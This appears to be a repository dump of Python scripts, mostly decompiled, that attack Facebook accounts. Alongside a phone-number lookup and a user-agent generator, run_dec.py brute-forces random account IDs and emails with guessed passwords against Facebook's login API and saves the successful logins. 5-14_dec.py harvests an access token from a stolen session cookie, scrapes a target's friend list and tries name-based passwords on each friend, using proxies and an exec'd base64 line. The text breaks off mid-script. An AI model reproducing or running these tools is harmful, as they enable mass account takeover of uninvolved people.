├── Number_details.py ├── ua.py ├── SXB-Lite_d3c.py ├── run_dec.py ├── 5-14_dec.py ├── F7-1_dec.py ├── code.py ├── ch4nd_dec.py ├── FUCK_KAUSAR.py └── MLK_dec.py /Number_details.py: -------------------------------------------------------------------------------- 1 | #RANI TRICKER CODING BY 🤙 2 | import phonenumbers 3 | from phonenumbers import timezone, geocoder, carrier 4 | logo = """ _____ _ _ _____ 5 | | __ \ /\ | \ | |_ _| 6 | | |__) | / \ | \| | | | 7 | | _ / / /\ \ | . ` | | | 8 | | | \ \ / ____ \| |\ |_| |_ 9 | |_| \_\/_/ \_\_| \_|_____| """ 10 | print(57*'_') 11 | print(logo) 12 | print(57*'_') 13 | number=input("Enter Your NUMBER. with: ") 14 | phone=phonenumbers.parse(number) 15 | time=timezone.time_zones_for_number (phone) 16 | car=carrier.name_for_number (phone, "en") 17 | reg=geocoder.description_for_number(phone, "en") 18 | print (phone) 19 | 20 | print(time) 21 | 22 | print(car) 23 | print(reg) 24 | -------------------------------------------------------------------------------- /ua.py: -------------------------------------------------------------------------------- 1 | #coding by raNi TRIXCKER 2 | #fb Id'z https://www.facebook.com/mistyxd0.2 3 | 4 | # https://youtube.com/channel/UCbT--Z1XzQpSUgjD6bfzzUA 5 | 6 | #coding=utf 7 | 8 | 9 | P = '\x1b[1;97m' # 10 | M = '\033[1;31m' # 11 | H = '\033[1;32m' # 12 | K = '\x1b[1;97m' # 13 | B = '\x1b[1;97m' # 14 | U = '\x1b[1;95m' # 15 | O = '\x1b[1;97m' # 16 | N = '\x1b[0m' # 17 | 18 | 19 | import os 20 | try: 21 | import my_fake_useragent 22 | except ImportError: 23 | print('\n [✓] installing pip wait !...\n') 24 | os.system('pip install my_fake_useragent') 25 | from my_fake_useragent import UserAgent 26 | import random 27 | logo = """ \x1b[1;97m 28 | \033[1;32m _____ _ _ _____ 29 | | __ \ /\ | \ | |_ _| 30 | | |__) | / \ | \| | | | 31 | | _ / / /\ \ | . ` | | | 32 | | | \ \ / ____ \| |\ |_| |_ 33 | |_| \_\/_/ \_\_| \_|_____| 34 | 35 | RANI TRIXCKER 36 | """ 37 | 38 | 39 | x = UserAgent(family='edge') 40 | b1 =x.random() 41 | b2 = x.random() 42 | b3 = x.random() 43 | b4 = x.random() 44 | b5= x.random() 45 | b6 = x.random() 46 | b7 = x.random() 47 | b8 = x.random() 48 | b10 = x.random() 49 | 50 | #randomly printing any 5 useragent 51 | os.system('clear') 52 | print(logo) 53 | 54 | print ('user agent save > chrome-ua.txt') 55 | print ('\x1b[1;97m') 56 | print(b1) 57 | print('') 58 | print(b2) 59 | print('') 60 | print(b3) 61 | print('') 62 | print(b4) 63 | print('') 64 | print(b5) 65 | print('') 66 | print(b6) 67 | print('') 68 | print(b7) 69 | print('') 70 | print(b8) 71 | print('') 72 | #print(b9) 73 | print('') 74 | print(b10) 75 | print('') 76 | 77 | 78 | 79 | open("edge-ua.txt","a").write(b1+'\n') 80 | open ("edge-ua.txt","a").write(b2+'\n') 81 | open ("edge-ua.txt","a").write(b3+'\n') 82 | open ("edge-ua.txt","a").write(b4+'\n') 83 | open ("edge-ua.txt","a").write(b5+'\n') 84 | open ("edge-ua.txt","a").write(b6+'\n') 85 | open ("edge-ua.txt","a").write(b7+'\n') 86 | open ("edge-ua.txt","a").write(b8+'\n') 87 | #open ("edge-ua.txt","a").write(b9+'\n') 88 | open ("edge-ua.txt","a").write(b10+'\n') -------------------------------------------------------------------------------- /SXB-Lite_d3c.py: -------------------------------------------------------------------------------- 1 | # Source Generated with Decompyle++ 2 | # File: bexm.pyc (Python 3.10) 3 | 4 | import os 5 | 6 | try: 7 | import requests 8 | finally: 9 | pass 10 | 11 | import requests 12 | import os 13 | import re 14 | import bs4 15 | import platform 16 | import sys 17 | import json 18 | import time 19 | import random 20 | import datetime 21 | import subprocess 22 | import threading 23 | import itertools 24 | import base64 25 | import uuid 26 | import zlib 27 | from concurrent.futures import ThreadPoolExecutor as sarfrazssb 28 | from datetime import datetime 29 | from bs4 import BeautifulSoup 30 | ct = datetime.now() 31 | n = ct.month 32 | bulan = [ 33 | 'January', 34 | 'February', 35 | 'March', 36 | 'April', 37 | 'May', 38 | 'June', 39 | 'July', 40 | 'Agustus', 41 | 'September', 42 | 'October', 43 | 'November', 44 | 'December'] 45 | 46 | try: 47 | if n < 0 or n > 12: 48 | exit() 49 | nTemp = n - 1 50 | finally: 51 | pass 52 | 53 | current = None if ValueError else datetime.now() 54 | ta = current.year 55 | bu = current.month 56 | ha = current.day 57 | op = bulan[nTemp] 58 | P = '\x1b[1;97m' 59 | M = '\x1b[1;96m' 60 | H = '\x1b[1;94m' 61 | K = '\x1b[1;93m' 62 | B = '\x1b[1;97m' 63 | U = '\x1b[1;97m' 64 | O = '\x1b[1;97m' 65 | N = '\x1b[0m' 66 | my_color = [ 67 | P, 68 | M, 69 | H, 70 | K, 71 | B, 72 | U, 73 | O, 74 | N] 75 | warna = random.choice(my_color) 76 | data = { } 77 | data2 = { } 78 | (aman, cp, salah) = (0, 0, 0) 79 | ubahP = [] 80 | fuck = [] 81 | pwBaru = [] 82 | ok = [] 83 | cp = [] 84 | id = [] 85 | user = [] 86 | loop = 0 87 | url_lookup = 'https://lookup-id.com/' 88 | url_mb = 'https://m.facebook.com' 89 | url_ip = 'https://www.httpbin.org/ip' 90 | header_grup = { 91 | 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [FBAN/FBIOS;FBDV/iPhone12,1;FBMD/iPhone;FBSN/iOS;FBSV/13.4.1;FBSS/2;FBID/phone;FBLC/en_US;FBOP/5]' } 92 | bulan_ttl = { 93 | '01': 'January', 94 | '02': 'February', 95 | '03': 'March', 96 | '04': 'April', 97 | '05': 'May', 98 | '06': 'June', 99 | '07': 'July', 100 | '08': 'Augustus', 101 | '09': 'September', 102 | '10': 'October', 103 | '11': 'November', 104 | '12': 'December' } 105 | done = False 106 | 107 | def jalan(z): 108 | for e in z + '\n': 109 | sys.stdout.write(e) 110 | sys.stdout.flush() 111 | time.sleep(0.01) 112 | 113 | 114 | def main_apv(): 115 | imt = 'SXB==' 116 | ak = 'SXB ' 117 | os.system('clear') 118 | print(logo) 119 | 120 | try: 121 | key1 = open('/data/data/com.termux/files/usr/bin/.akkkk-cov', 'r').read() 122 | finally: 123 | pass 124 | 125 | r1 = None if IOError else requests.get('https://raw.githubusercontent.com/SXB-PRO/Lite/main/Approval.txt').text 126 | if key1 in r1: 127 | R() 128 | return None 129 | None.system('clear') 130 | print(logo) 131 | print('\x1b[1;37m-----------------------------------------') 132 | print('\x1b[1;94mGIVE ME 350RS FOR APROVAL RIAZ') 133 | print('\x1b[1;32mYOUR KEY : ' + ak + key1) 134 | print('Key And Sent Me WP Approvel Your Key ') 135 | print('\x1b[1;37m-----------------------------------------') 136 | time.sleep(3.5) 137 | tks = 'Dear%20Admin,%20Please%20Apporved%20My%20Key%20To%20Premium✓✓%20%20%20%20%20My%20%20Key%20%20:%20' + ak + '' + key1 138 | os.system('am start https://wa.me/+923465435447?text=' + tks) 139 | 140 | logo = '\n \x1b[1;32m██████ █████ ██ ██████ \n \x1b[1;33m██ ██ ██ ██ ██ ██ ██ \n \x1b[1;34m██████ ███████ ██ ██ ██ \n \x1b[1;35m██ ██ ██ ██ ██ ██ \n \x1b[1;36m██ ██ ██ ██ ██████ \n \n\x1b[1;37m-----------------------------------------\n[*] Author : JUNAID KHAN\n[*] Github : SXB-PRO\n[*] Version : BOTH\n[*] STATUS : PAID\n[*] Wp : 03465435447\n[*]\x1b[1;37m-----------------------------------------' 141 | 142 | def R(): 143 | os.system('clear') 144 | print(logo) 145 | print('\x1b[1;37m[\x1b[1;31mC\x1b[1;37m] SXB VERSION 0.0.3 \x1b[1;32m[COOKIES]\x1b[1;37m ') 146 | print('\x1b[1;37m[\x1b[1;31mS\x1b[1;37m] SXB VERSION 0.0.1 \x1b[1;32m[Update]\x1b[1;37m') 147 | print('\x1b[1;37m-----------------------------------------') 148 | key = input(' [*] Choose : ') 149 | print('\x1b[1;37m-----------------------------------------') 150 | if key in ('',): 151 | print('\x1b[1;37m[\x1b[1;31m+\x1b[1;37m] Please Select Correct Option') 152 | exit() 153 | return None 154 | if None in ('C', '0C'): 155 | os.system('python Lite1.py') 156 | return None 157 | if None in ('S', '0S'): 158 | os.system('python Power.py') 159 | time.sleep(0.5) 160 | return None 161 | 162 | main_apv() 163 | -------------------------------------------------------------------------------- /run_dec.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 2 | import os 3 | try: 4 | import requests 5 | except ImportError: 6 | print("\n [!] \033[0;91mmodule requests belum terinstall \033[0;97m") 7 | os.system("pip install requests") 8 | 9 | try: 10 | import concurrent.futures 11 | except ImportError: 12 | print("\n [!] \033[0;91mmodule futures belum terinstall\033[0;97m") 13 | os.system("pip install futures") 14 | os.system("pkg install figlet") 15 | 16 | import os 17 | import sys 18 | import time 19 | import calendar 20 | import requests 21 | import random 22 | from concurrent.futures import ThreadPoolExecutor 23 | from datetime import datetime 24 | from datetime import date 25 | 26 | def sangar(): 27 | m = ["|","/","-","\\"] 28 | for b in range(2): 29 | for t in m: 30 | sys.stdout.write(" \r\033[32m"+t) 31 | #os.system("rm -rf login.txt") 32 | sys.stdout.flush() 33 | time.sleep(1) 34 | 35 | def jalan(z): 36 | for e in z + '\n': 37 | sys.stdout.write(e) 38 | sys.stdout.flush() 39 | time.sleep(0.03) 40 | 41 | ct = datetime.now() 42 | n = ct.month 43 | bulan = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"] 44 | try: 45 | if n < 0 or n > 12: 46 | exit() 47 | nTemp = n - 1 48 | except ValueError: 49 | exit() 50 | 51 | current = datetime.now() 52 | ta = current.year 53 | bu = current.month 54 | ha = current.day 55 | op = bulan[nTemp] 56 | 57 | my_date = date.today() 58 | hr = calendar.day_name[my_date.weekday()] 59 | tanggal = ("%s-%s-%s-%s"%(hr, ha, op, ta)) 60 | tgl = ("%s %s %s"%(ha, op, ta)) 61 | bulan_ttl = {"01": "January", "02": "February", "03": "March", "04": "April", "05": "May", "06": "June", "07": "July", "08": "August", "09": "September", "10": "October", "11": "November", "12": "December"} 62 | 63 | 64 | class Main: 65 | def __init__(self): 66 | self.id = [] 67 | self.ok = [] 68 | self.cp = [] 69 | self.loop = 0 70 | self.ips = requests.get("https://anggakurniawan.my.id/myip/").text 71 | os.system("clear") 72 | jalan(" ••• please subscribe youtube author :) thankz you") 73 | os.system("xdg-open https://youtube.com/channel/UC1ed4h-ZksGPWB13-ctZQCg") 74 | time.sleep(4) 75 | os.system("clear") 76 | os.system("figlet bypass") 77 | print("\n -=( Code By With Profesor Acc )=- ") 78 | print(" -=( https://github.com/KangProf )=-\n") 79 | print(" [ No Login Facebook ]") 80 | print(" -------------------------------------") 81 | print(" [•] Your IP : %s"%(self.ips)) 82 | print(" -------------------------------------") 83 | print("\n [01]. crack random id facebook new") 84 | print(" [02]. crack random id facebook young") 85 | print(" [03]. crack random id facebook old") 86 | print(" [04]. crack random email facebook") 87 | print(" [05]. report") 88 | tanya = input("\n [•] choose : ") 89 | if tanya in ["", " "]: 90 | Main() 91 | elif tanya in ["1", "01"]: 92 | self.fbbaru() 93 | elif tanya in ["2", "02"]: 94 | self.fbmuda() 95 | elif tanya in ["3", "03"]: 96 | self.fbtua() 97 | elif tanya in ["4", "04"]: 98 | self.email() 99 | elif tanya in ["5", "05"]: 100 | os.system(" xdg-open https://t.me/Prof_acc1") 101 | time.sleep(3) 102 | Main() 103 | else: 104 | Main() 105 | 106 | def fbbaru(self): 107 | x = 11111111111 108 | xx = 77777777777 109 | idx = "1000" 110 | limit = int(input(" [•] enter the number of id\n [•] Example < 5000 > : ")) 111 | try: 112 | for n in range(limit): 113 | _ = random.randint(x,xx) 114 | __ = idx 115 | self.id.append(__+str(_)) 116 | print(" [•] total id -> \033[0;91m%s\033[0;97m"%(len(self.id))) 117 | with ThreadPoolExecutor(max_workers=30) as coeg: 118 | print("\n [•] use comma <,> for separator\n [•] Example : 123456,123456789") 119 | listpass = input(" [•] enter password : ") 120 | if len(listpass)<=5: 121 | exit("\n [•] Password minimum 6 characters") 122 | print(" [•] crack with password -> [\033[0;91m%s\033[0;97m]"%(listpass)) 123 | print("\n [•] ok results stored in -> OK-"+tgl) 124 | print(" [•] cp results stored in -> CP-"+tgl) 125 | print(" [•] if no result, turn on airplane mode 5 seconds") 126 | print(" [•] re-login cp account in 7 days\n") 127 | for user in self.id: 128 | coeg.submit(self.api, user, listpass.split(",")) 129 | exit("\n\n [•] Done...") 130 | except Exception as e:exit(str(e)) 131 | 132 | def fbmuda(self): 133 | x = 1111111111 134 | xx = 9999999999 135 | idx = "10000" 136 | limit = int(input(" [•] enter the number of id\n [•] Example < 5000 > : ")) 137 | try: 138 | for n in range(limit): 139 | _ = random.randint(x,xx) 140 | __ = idx 141 | self.id.append(__+str(_)) 142 | print(" [•] total id -> \033[0;91m%s\033[0;97m"%(len(self.id))) 143 | with ThreadPoolExecutor(max_workers=30) as coeg: 144 | print("\n [•] use comma <,> for separator\n [•] Example : 123456,123456789") 145 | listpass = input(" [•] enter password : ") 146 | if len(listpass)<=5: 147 | exit("\n [•] Password minimum 6 characters") 148 | print(" [•] crack with password -> [\033[0;91m%s\033[0;97m]"%(listpass)) 149 | print("\n [•] ok results stored in -> OK-"+tgl) 150 | print(" [•] cp results stored in -> CP-"+tgl) 151 | print(" [•] if no result, turn on airplane mode 5 seconds") 152 | print(" [•] re-login cp account in 7 days\n") 153 | for user in self.id: 154 | coeg.submit(self.api, user, listpass.split(",")) 155 | exit("\n\n [•] Done...") 156 | except Exception as e:exit(str(e)) 157 | 158 | def fbtua(self): 159 | x = 111111111 160 | xx = 999999999 161 | idx = "100000" 162 | limit = int(input(" [•] enter the number of id\n [•] Example < 5000 > : ")) 163 | try: 164 | for n in range(limit): 165 | _ = random.randint(x,xx) 166 | __ = idx 167 | self.id.append(__+str(_)) 168 | print(" [•] total id -> \033[0;91m%s\033[0;97m"%(len(self.id))) 169 | with ThreadPoolExecutor(max_workers=30) as coeg: 170 | print("\n [•] use comma <,> for separator\n [•] Example : 123456,123456789") 171 | listpass = input(" [•] enter password : ") 172 | if len(listpass)<=5: 173 | exit("\n [•] Password minimum 6 characters") 174 | print(" [•] crack with password -> [\033[0;91m%s\033[0;97m]"%(listpass)) 175 | print("\n [•] ok results stored in -> OK-"+tgl) 176 | print(" [•] cp results stored in -> CP-"+tgl) 177 | print(" [•] if no result, turn on airplane mode 5 seconds") 178 | print(" [•] re-login cp account in 7 days\n") 179 | #fake() 180 | for user in self.id: 181 | coeg.submit(self.api, user, listpass.split(",")) 182 | exit("\n\n [•] Done...") 183 | except Exception as e:exit(str(e)) 184 | 185 | def email(self): 186 | x = 111 187 | xx = 999 188 | nama = input(" [•] enter name\n [•] Example < alex > : ") 189 | nama = nama.replace(" ", "") 190 | domain = input(" [•] [G]mail.com, [Y]ahoo.com, [H]otmail.com : ") 191 | if domain in [""]:Main() 192 | elif domain in ["G", "g"]: 193 | idx = "@gmail.com" 194 | elif domain in ["Y", "y"]: 195 | idx = "@yahoo.com" 196 | elif domain in ["H", "h"]: 197 | idx = "@hotmail.com" 198 | else:Main() 199 | limit = int(input(" [•] enter the number of id\n [•] Example < 5000 > : ")) 200 | try: 201 | for n in range(limit): 202 | _ = random.randint(x,xx) 203 | __ = idx 204 | ___ = nama 205 | self.id.append(___+str(_)+__) 206 | print(" [•] total id -> \033[0;91m%s\033[0;97m"%(len(self.id))) 207 | with ThreadPoolExecutor(max_workers=30) as coeg: 208 | print("\n [•] use comma <,> for separator\n [•] Example : 123456,123456789") 209 | listpass = input(" [•] enter password : ") 210 | if len(listpass)<=5: 211 | exit("\n [•] Password minimum 6 characters") 212 | print(" [•] crack with password -> [\033[0;91m%s\033[0;97m]"%(listpass)) 213 | print("\n [•] ok results stored in -> OK-"+tgl) 214 | print(" [•] cp results stored in -> CP-"+tgl) 215 | print(" [•] if no result, turn on airplane mode 5 seconds") 216 | print(" [•] re-login cp account in 7 days\n") 217 | for user in self.id: 218 | coeg.submit(self.api, user, listpass.split(",")) 219 | exit("\n\n [•] Done...") 220 | except Exception as e:exit(str(e)) 221 | 222 | def api(self, uid, pwx): 223 | ua = random.choice([ 224 | "Dalvik/1.6.0 (Linux; U; Android 4.4.2; NX55 Build/KOT5506) [FBAN/FB4A;FBAV/106.0.0.26.68;FBBV/45904160;FBDM/{density=3.0,width=1080,height=1920};FBLC/it_IT;FBRV/45904160;FBCR/PosteMobile;FBMF/asus;FBBD/asus;FBPN/com.facebook.katana;FBDV/ASUS_Z007;FBSV/5.0;FBOP/1;FBCA/x86:armeabi-v7a;]", 225 | "Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]" 226 | ]) 227 | sys.stdout.write( 228 | "\r [CRACK] %s/%s -> ok:-%s - cp:-%s "%(self.loop, len(self.id), len(self.ok), len(self.cp)) 229 | ); sys.stdout.flush() 230 | for pw in pwx: 231 | pw = pw.lower() 232 | ses = requests.Session() 233 | headers = { 234 | "x-fb-connection-bandwidth": str(random.randint(20000000.0, 30000000.0)), 235 | "x-fb-sim-hni": str(random.randint(20000, 40000)), 236 | "x-fb-net-hni": str(random.randint(20000, 40000)), 237 | "x-fb-connection-quality": "EXCELLENT", 238 | "x-fb-connection-type": "cell.CTRadioAccessTechnologyHSDPA", 239 | "user-agent": ua, 240 | "content-type": "application/x-www-form-urlencoded", 241 | "x-fb-http-engine": "Liger" 242 | } 243 | response = ses.get("https://b-api.facebook.com/method/auth.login?format=json&email="+str(uid)+"&password="+str(pw)+"&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20¤tly_logged_in_userid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb_api_req_friendly_name=authenticate&cpl=true", headers=headers) 244 | if "session_key" in response.text and "EAAA" in response.text: 245 | print("\r \033[0;92m[CP] %s • %s\033[0;97m "%(uid, pw)) 246 | self.ok.append("%s • %s"%(uid, pw)) 247 | open("OK-"+tgl+".txt","a").write("%s | %s\n"%(uid, pw)) 248 | break 249 | elif "www.facebook.com" in response.json()["error_msg"]: 250 | print("\r \033[0;93m[CP] %s • %s\033[0;97m "%(uid, pw)) 251 | self.cp.append("%s • %s"%(uid, pw)) 252 | open("CP-"+tgl+".txt","a").write("%s | %s\n"%(uid, pw)) 253 | break 254 | else: 255 | continue 256 | 257 | self.loop +=1 258 | 259 | if len(sys.argv) == 2: 260 | if sys.argv[1] == "--info": 261 | print(" [•] GITHUB : https://github.com/KangProf") 262 | exit() 263 | else: 264 | Main() 265 | 266 | try:Main() 267 | except Exception as e:exit(str(e)) 268 | 269 | -------------------------------------------------------------------------------- /5-14_dec.py: -------------------------------------------------------------------------------- 1 | # METHODE UMUM YANG BANYAK DIGUNAKAN # PADA INTINYA UDAH GUE CEK SEMUA SC YG MEREKA PAKE # SAMA SAJA HANYA DI HEADER YANG BERBEDA # MASALAH CODINGAN SAMA CUMA DIRUBAH MODEL CODINGAN SAJA # PADA INTINYA MEMAKAI METHODE YANG SAMA KAYA CONTOH SC YG GUE BUAT INI # JADI PAHAMI YANG PEMULA BIYAR TIDAK DIBODOHI # MANA DEV ASLI DAN MANA YANG PERICODE TERIAK PERICODE # APALAGI YANG MENGGUNAKAN CARA INI UNTUK NGERIP # SEMATA-MATA HANYA BERTUJUAN UNTUK PENDIDIKAN # AGAR TIDAK MUDAH DIBODOHI KARNA MEMANG SUDAH BANYAK RIPER import requests,bs4,json,os,sys,random,datetime,time,re import urllib3,rich import base64 exec(base64.b64decode(b'ZnJvbSByaWNoIGltcG9ydCBwcmludCBhcyBwYW5qaWhpdGFt==')) from rich.table import Table as me from rich.console import Console as sol from bs4 import BeautifulSoup as sop from bs4 import BeautifulSoup as parser from concurrent.futures import ThreadPoolExecutor as tred from rich.console import Group as gp from rich.panel import Panel as nel from rich import print as cetak from rich.markdown import Markdown as mark from rich.columns import Columns as col from rich import print as rprint from rich import pretty from rich.text import Text as tekz try: import rich except ImportError: os.system('pip install rich') time.sleep(1) try: import rich except ImportError: exit('Cannot Install Rich Module, Try Manual Install (pip install rich)') pwv=[] id,id2=[],[] loop,ok,cp=0,0,0 akun,method=[],[] tokenku,uid= [],[] jancok=[] def clear(): os.system('clear') def back(): login() # DATA WAKU dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'} dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'} tgl = datetime.datetime.now().day bln = dic[(str(datetime.datetime.now().month))] thn = datetime.datetime.now().year okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt' cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt' ### WARNA RANDOM ### P = '\x1b[1;97m' # PUTIH M = '\x1b[1;91m' # MERAH H = '\x1b[1;92m' # HIJAU K = '\x1b[1;93m' # KUNING B = '\x1b[1;94m' # BIRU U = '\x1b[1;95m' # UNGU O = '\x1b[1;96m' # BIRU MUDA N = '\x1b[0m' # WARNA MATI A = '\x1b[1;90m' # WARNA ABU ABU ### TEXT JALAN ### def jalan(z): for e in z + '\n': sys.stdout.write(e) sys.stdout.flush() time.sleep(0.03) #LOADING ANIMASI def loading(): animation = ["\x1b[1;91m🕧","\x1b[1;92m🕐","\x1b[1;93m🕑","\x1b[1;94m🕒","\x1b[1;95m🕓","\x1b[1;96m🕔","\x1b[1;97m🕕","\x1b[1;91m🕖","\x1b[1;92m🕗","\x1b[1;93m🕘","\x1b[1;94m🕙","\x1b[1;95m🕚","\x1b[1;96m🕛"] for i in range(50): time.sleep(0.1) sys.stdout.write(f"\r{P}[{H}●{P}] LOADING PROSESS...{N} " + animation[i % len(animation)] +"\x1b[0m ") sys.stdout.flush() print("") ### UNTUK AMBIL PROXY GITU AJA KOK REPOT #### proxy= requests.get('https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks5&timeout=10000&country=all&ssl=all&anonymity=all').text open('proxy.txt','w').write(proxy) proxy=['SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]','Mozilla/5.0 (Linux; Android 8.1.0; Redmi 4X Build/OPM1.171019.018) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36','NokiaC3-00/5.0 (08.63) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+'] # CARA SIMPLE MENGAMBIL USER AGENT { LINK BOLEH GANTI DENGAN LINK USER AGENT KALIAN } if not os.path.isfile('.userset.txt'): os.system('curl -L https://raw.githubusercontent.com/k4long666/user_agent/main/userset.txt > .userset.txt') if not os.path.isfile('/sdcard/UA'): n = random. randint(11111,99999);x = open('/sdcard/UA', 'a');x.write(str(n));x.close() with open(".userset.txt") as funk: kuntul = funk.readlines() # UNTUK BUAT FOLDER DATA YANG DIPERLUKAN CIL def folderdata(): try:os.mkdir("CP") except:pass try:os.mkdir("LIVE") except:pass try:os.mkdir("UA") except:pass def banner(): clear() print("""%s ──▄▀▀▀▀▀▀▀▄──────────────── ──█───────█──────────────── ──█████████─────────▄▀▀▄─── ░░███─▀─███░░█▀█▀▀▀▀█░░█░░░ ░░███─▀─███░░▀░▀░░░░░▀▀░░░░ ░░████▄████░░ RANSOMWARE ░░ """%(H)) # BAGIAN LOGIN METHOD UMUM NGAB def login(): try: token = open('.token.txt','r').read() jancok= open('.jancok.txt','r').read() tokenku.append(token) try: sy = requests.get('https://graph.facebook.com/me?access_token='+tokenku[0], cookies = {"cookie":jancok}) kuntul_kau() except KeyError: menu_login() except requests.exceptions.ConnectionError: banner() print(' %s# JARINGAN BERMASALAH PERIKSA DAN COBA LAGI ! '%(M)) exit() except IOError: menu_login() ### BAGIAN MENU LOGIN NGAB def menu_login(): banner() try: cookie=input("%s [%s●%s] LOGIN COOKIES : %s"%(P,H,P,H)) loading() data = requests.get("https://business.facebook.com/business_locations", headers = {"user-agent": "Mozilla/5.0 (Linux; Android 6.0.1; Redmi 4A Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.92 Mobile Safari/537.36","referer": "https://www.facebook.com/","host": "business.facebook.com","origin": "https://business.facebook.com","upgrade-insecure-requests" : "1","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7","cache-control": "max-age=0","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8","content-type":"text/html; charset=utf-8"}, cookies = {"cookie":cookie}) find_token = re.search("(EAAG\w+)", data.text) ken=open(".token.txt", "w").write(find_token.group(1)) cok=open(".jancok.txt", "w").write(cookie) print(' LOGIN SUCCESS ✓');time.sleep(1) exit() except Exception as e: os.system("rm -f .token.txt") os.system("rm -f .jancok.txt") print(f'%s[%s●%s]%s LOGIN GAGAL !!%s'%(P,H,P,P,M)) exit() # CRACK ID PUBLIK , FOLLOWERS, LIKE INTINYA SAMA TINGGAL UBAH DIKIT def kuntul_kau(): os.system('clear') banner() try: jancok= open('.jancok.txt','r').read() except IOError: exit() pil = input(' TARGET ID : ') try: koh2 = requests.get('https://graph.facebook.com/v2.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {"cookie":jancok}).json() for pi in koh2['friends']['data']: try:id.append(pi['id']+'|'+pi['name']) except:continue print(' TOTAL ID : '+str(len(id))) setting() except requests.exceptions.ConnectionError: print('#KONEKSI BERMASALAH PERIKSA JARINGAN ANDA') exit() except (KeyError,IOError): print('# KEMUNGKINAN PERTEMANAN TIDAK PUBLIK') exit() # BAGIAN PENGATURAN def setting(): print('') jalan(f' 01. Awali dari akun tua ') jalan(f' 02. awali dari akun bocah ') jalan(f' 03. Awali dari akun bocah tua') print('') hu = input(' Ketik pilihan : ') if hu in ['1','01']: for tua in sorted(id): id2.append(tua) elif hu in ['2','02']: muda=[] for bacot in sorted(id): muda.append(bacot) bcm=len(muda) bcmi=(bcm-1) for xmud in range(bcm): id2.append(muda[bcmi]) bcmi -=1 elif hu in ['3','03']: for bacot in id: xx = random.randint(0,len(id2)) id2.insert(xx,bacot) else: print(' Pilihan salah ') exit() print('\n') jalan(' 01. Gaya miring ') jalan(' 02. Gaya nungging ') print('') hc = input(' Pilih methode gaya : ') if hc in ['1','01']: gayamiring() elif hc in ['']: print(' Pilihan salah ') setting() elif hc in ['2','02']: gayanungging() else: gayamiring() # METHODE PASSWORD MASIH BANYAK CARA DAN METHOD NYA # TINGGAL LU UBAH SESUAI YANG LU MAU def gayamiring(): jalan(f' Hasil LIVE tersimpan Di : LIVE/%s '%(okc)) jalan(f' Hasil CP tersimpan Di : CP/%s'%(cpc)) jalan(f' Mainkan mode pesawat jika tidak ada hasil\n') with tred(max_workers=35) as pool: for yuzong in id2: try: idf,nmf,ttl = yuzong.split('|')[0],yuzong.split('|')[1].lower(),yuzong.split('|')[2].lower() except: idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower() frs = nmf.split(' ')[0] try: pwv = [] except: pwv = ['sayang','sayangku','sayang123','bismillah','anjing','katasandi','password','amanah','hidayah','semangat','bintang','indonesia'] if len(nmf)<6: if len(frs)<3: pass else: pwv.append(frs+'123') pwv.append(frs+'1234') else: if len(frs)<3: pwv.append(nmf) else: pwv.append(nmf) pwv.append(frs+'123') pwv.append(frs+'1234') if 'mobile' in method: pool.submit(crack,idf,pwv) elif 'mobile' in method: pool.submit(crack2,idf,pwv) else: pool.submit(crack,idf,pwv) print('') panjihitam(nel('\t[bold green] Crack Selesai ✓[green] ')) print('') print(' Lanjut Crack Kembali {y/t } ? ') woi = input('Pilih : ') if woi in ['y','Y']: back() else: print('Thanks you ') time.sleep(2) exit() def gayanungging(): jalan(f' Hasil LIVE tersimpan Di : LIVE/%s '%(okc)) jalan(f' Hasil CP tersimpan Di : CP/%s'%(cpc)) jalan(f' Mainkan mode pesawat jika tidak ada hasil\n') with tred(max_workers=35) as pool: for yuzong in id2: try: idf,nmf,ttl = yuzong.split('|')[0],yuzong.split('|')[1].lower(),yuzong.split('|')[2].lower() except: idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower() frs = nmf.split(' ')[0] try: pwv = [] except: pwv = ['sayang','sayangku','sayang123','bismillah','anjing','katasandi','password','amanah','hidayah','semangat','bintang','indonesia'] if len(nmf)<6: if len(frs)<3: pass else: pwv.append(frs+'123') pwv.append(frs+'1234') pwv.append(frs+'12345') else: if len(frs)<3: pwv.append(nmf) else: pwv.append(nmf) pwv.append(frs+'123') pwv.append(frs+'1234') pwv.append(frs+'12345') if 'mobile' in method: pool.submit(crack,idf,pwv) elif 'mobile' in method: pool.submit(crack2,idf,pwv) else: pool.submit(crack,idf,pwv) print('') panjihitam(nel('\t[bold green] Crack 